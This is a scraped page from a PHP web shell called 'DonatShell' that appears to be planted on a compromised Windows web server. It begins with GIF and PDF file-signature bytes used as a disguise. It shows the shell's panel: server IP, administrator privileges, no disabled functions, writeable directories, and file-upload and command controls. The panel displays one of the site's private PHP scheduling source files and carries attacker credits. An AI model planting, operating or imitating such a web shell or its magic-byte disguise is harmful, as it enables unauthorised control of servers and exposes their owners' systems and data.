GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/js_write_Schedule_ClassMeeting.phpinc
<?
// Schedule/js_write_Schedule_ClassMeeting.phpinc
// Add SCMold and SCMnow data to site_js.php.

$jsText .= "
// ".basename(__FILE__).".";

#$DEBUG_js_write_Schedule_ClassMeeting = true;
#if ( $_SESSION['gameId'] == 0 ) $DEBUG_js_write_Schedule_ClassMeeting = true; // DEBUG by gameId.
#if ( $_SESSION['userId'] == 0 ) $DEBUG_js_write_Schedule_ClassMeeting = true; // DEBUG by userId.
if ( !isset($DEBUG_js_write_Schedule_ClassMeeting) ) $DEBUG_js_write_Schedule_ClassMeeting = d_O(); // DEBUG by passthrough.
#if ( !isset($DEBUG_js_write_Schedule_ClassMeeting) ) $DEBUG_js_write_Schedule_ClassMeeting = false; // Default false.
#if ( $DEBUG_js_write_Schedule_ClassMeeting ) d_On(); // Use instead of t_Begin() for AJAX call.
t_Begin($DEBUG_js_write_Schedule_ClassMeeting); // Begin TRACKing js_write_Schedule_ClassMeeting.phpinc.

if ( $scheduleclassCount ) { // Are there schedule classes?
	// Calculate $scmIdMaxwidth to align js output for SCMnow{}.
	query_seek($scheduleclassResult, 0);
	$scmIdMaxwidth = 1;
	while ($scheduleclassInfo = query_row($scheduleclassResult)) { // Loop thru schedule classes.
		// Get meetings
		$query = "
				SELECT scheduleclassmeetingId
					FROM `scheduleclassmeeting`
				 WHERE scheduleclassId = ".$scheduleclassInfo['scheduleclassId']."
		";
		d_Var('scheduleclassmeetingResult',$query,'q');
		$scheduleclassmeetingResult = query_do($query);
		$scheduleclassmeetingCount = $GLOBALS['_QUERY']['count'];
		d_Var('$scheduleclassmeetingResult',$scheduleclassmeetingResult);
		if ( $scheduleclassmeetingCount ) { // Are there class meetings?
			query_seek($scheduleclassmeetingResult, 0);
			while ($meetingInfo = query_row($scheduleclassmeetingResult)) { // Loop thru class meetings.
				$maxwdth = spaceMaxFill($scheduleclassmeetingResult, 'scheduleclassmeetingId');
				if ( $maxwdth > $scmIdMaxwidth ) $scmIdMaxwidth = $maxwdth;
			} // Loop thru class meetings.
		} // Are there class meetings?
	} // Loop thru schedule classes.
	query_seek($scheduleclassResult, 0);
	while ($scheduleclassInfo = query_row($scheduleclassResult)) { // Loop thru schedule classes.
		// Get meetings
		require('Schedule/GetScheduleClassMeeting.phpinc');
		d_Var('$scheduleclassmeetingResult',$scheduleclassmeetingResult);
		if ( $scheduleclassmeetingCount ) { // Are there class meetings?
			$sp = spaceFill($scheduleclassInfo['scheduleclassId'], $scIdMaxwidth);
			$jsText .= "
		".$classMeetingName."[".$scheduleclassInfo['scheduleclassId']."] ".$sp."	 = [];";
				query_seek($scheduleclassmeetingResult, 0);
				$meetingIndex=0;
				while ($meetingInfo = query_row($scheduleclassmeetingResult)) { // Loop thru class meetings.
					$sp2 = spaceFill($meetingInfo['scheduleclassmeetingId'], $scmIdMaxwidth);
					// Get meeting rooms.
					$query = "
							SELECT scheduleclassmeetingId
									 , room.roomId
									 , buildingCode
									 , roomNumber
								FROM `scheduleclassmeetingroom`
								JOIN `room` ON room.roomId = scheduleclassmeetingroom.roomId
								JOIN `building` ON building.buildingId = room.buildingId
								JOIN `campus` ON campus.campusId = building.campusId
							 WHERE scheduleclassmeetingId = ".$meetingInfo['scheduleclassmeetingId']."
						ORDER BY campusName, buildingCode, 10000 + roomNumber
					";
					d_Var('scheduleclassmeetingroomResult',$query,'q');
					$scheduleclassmeetingroomResult = query_do($query);
					$scheduleclassmeetingroomCount = $GLOBALS['_QUERY']['count'];
					d_Var('$scheduleclassmeetingroomResult',$scheduleclassmeetingroomResult);
					$meetingInfo['rooms'] = array();
					if ( $scheduleclassmeetingroomCount ) {
						query_seek($scheduleclassmeetingroomResult, 0);
						while ($scheduleclassmeetingroomInfo = query_row($scheduleclassmeetingroomResult)) {
							$meetingInfo['rooms'][$scheduleclassmeetingroomInfo['roomId']]['buildingCode'] = str_replace('MAINHU','',$scheduleclassmeetingroomInfo['buildingCode']);
							$meetingInfo['rooms'][$scheduleclassmeetingroomInfo['roomId']]['roomNumber'] = $scheduleclassmeetingroomInfo['roomNumber'];
						}
					}
					#d_Var("\$meetingInfo['rooms']",$meetingInfo['rooms'],'d');
					$meetingInfo['roomList'] = '';
					foreach ( $meetingInfo['rooms'] as $roomId => $room ) {
						$meetingInfo['roomList'] = listAppend($meetingInfo['roomList'],$room['buildingCode'].$room['roomNumber']);
					}
					#d_Var("\$meetingInfo['roomList']",$meetingInfo['roomList'],'d');
					// Get meeting days.
					$query = "
							SELECT weekdayD
								FROM `scheduleclassmeetingweekday`
								JOIN `weekday` ON weekday.weekdayId = scheduleclassmeetingweekday.weekdayId
							 WHERE scheduleclassmeetingId = ".$meetingInfo['scheduleclassmeetingId']."
						ORDER BY weekday.weekdayId
					";
					d_Var('scheduleclassmeetingweekdayResult',$query,'q');
					$scheduleclassmeetingweekdayResult = query_do($query);
					$weekdayCount = $GLOBALS['_QUERY']['count'];
					d_Var('$scheduleclassmeetingweekdayResult',$scheduleclassmeetingweekdayResult);
					$weekdays = '';
					$prefix = '';
					if ( $weekdayCount ) { // Are there meeting days?
						query_seek($scheduleclassmeetingweekdayResult, 0);
						while ($weekdayInfo = query_row($scheduleclassmeetingweekdayResult)) { // Loop thru	meeting days.
							$weekdays .= $prefix."'".$weekdayInfo['weekdayD']."'";
							$prefix = ',';
						} // Loop thru	meeting days.
					} // Are there meeting days?

					// Get instructors.
					$query = "
							SELECT userId
								FROM `scheduleclassmeetinginstructor`
							 WHERE scheduleclassmeetingId = ".$meetingInfo['scheduleclassmeetingId']."
					";
					d_Var('scheduleclassmeetinginstructorResult',$query,'q');
					$scheduleclassmeetinginstructorResult = query_do($query);
					$scheduleclassmeetinginstructorCount = $GLOBALS['_QUERY']['count'];
					d_Var('scheduleclassmeetinginstructorResult',$scheduleclassmeetinginstructorResult);
					$instructors = '';
					$prefix = '';
					if ( $scheduleclassmeetinginstructorCount ) { // Are there $instructors?
						query_seek($scheduleclassmeetinginstructorResult, 0);
						while ($instructoryInfo = query_row($scheduleclassmeetinginstructorResult)) { // Loop thru	meeting days.
							$instructors .= $prefix."'".$instructoryInfo['userId']."'";
							$prefix = ',';
						} // Loop thru	meeting days.
					} // Are there meeting days?
					if ( $scheduleclassInfo['scheduleclassId'] < 10 ) { $sp = ' '; } else { $sp = ''; }
					if ( $meetingInfo['scheduleclassmeetingBeginTime'] && $meetingInfo['scheduleclassmeetingBeginTime'] !== '00:00:00' ) {
						$arranged = 'false';
						$tdMinute = explode(':',$meetingInfo['scheduleclassmeetingBeginTime']);
						$tdMinute = $tdMinute[0] * 60 + $tdMinute[1];
						// subtract calendar begin time??? $tdMinute -= (int)( ( $_SESSION['user']['calendar_timebegin'] * 60	) / $_SESSION['user']['calendar_timeincrement'] ) * $_SESSION['user']['calendar_timeincrement'];
						$tdMinute = (int)$tdMinute;
					} else {
						$arranged = 'true';
						$meetingInfo['scheduleclassmeetingBeginTime'] = '';
						$meetingInfo['scheduleclassmeetingEndTime'] = '';
						$tdMinute = 0;
					}
					
					$course = $ScheduleClassCourses[$scheduleclassInfo['scheduleclassId']];
					$scheduleclassmeetingOnCampus = $meetingInfo['scheduleclassmeetingOnCampus'];
					if ($scheduleclassmeetingOnCampus == '') { $scheduleclassmeetingOnCampus = '0'; }
					$jsText .= "
		".$classMeetingName."[".$scheduleclassInfo['scheduleclassId']."][".$meetingIndex."] ".$sp."= { scmId:'".$meetingInfo['scheduleclassmeetingId']."',".$sp2." sDate:'".$meetingInfo['scheduleclassmeetingStartDate']."', eDate:'".$meetingInfo['scheduleclassmeetingEndDate']."', arranged:".$arranged.", bTime:'".$meetingInfo['scheduleclassmeetingBeginTime']."', eTime:'".$meetingInfo['scheduleclassmeetingEndTime']."', onCampus:'".$scheduleclassmeetingOnCampus."', rooms:[";
					$prefix = '';
					foreach ( $meetingInfo['rooms'] as $roomId => $room ) {
						$jsText .= $prefix."'".$room['buildingCode'].$room['roomNumber']."'";
						$prefix = ',';
					}
					$jsText .= "], days:[".$weekdays."], instructors:[".$instructors."], tdMinute:".$tdMinute." };";
					$meetingIndex++;
				} // Loop thru class meetings.
		} // Are there class meetings?
	} // Loop thru schedule classes.
} // Are there schedule classes?

#if ( $DEBUG_js_write_Schedule_ClassMeeting ) d_Off(); // Use instead of t_End() for AJAX call.
unset($DEBUG_js_write_Schedule_ClassMeeting);
t_End(); // End TRACKing js_write_Schedule_ClassMeeting.phpinc.
?>

Anon7 - 2022
AnonSec Team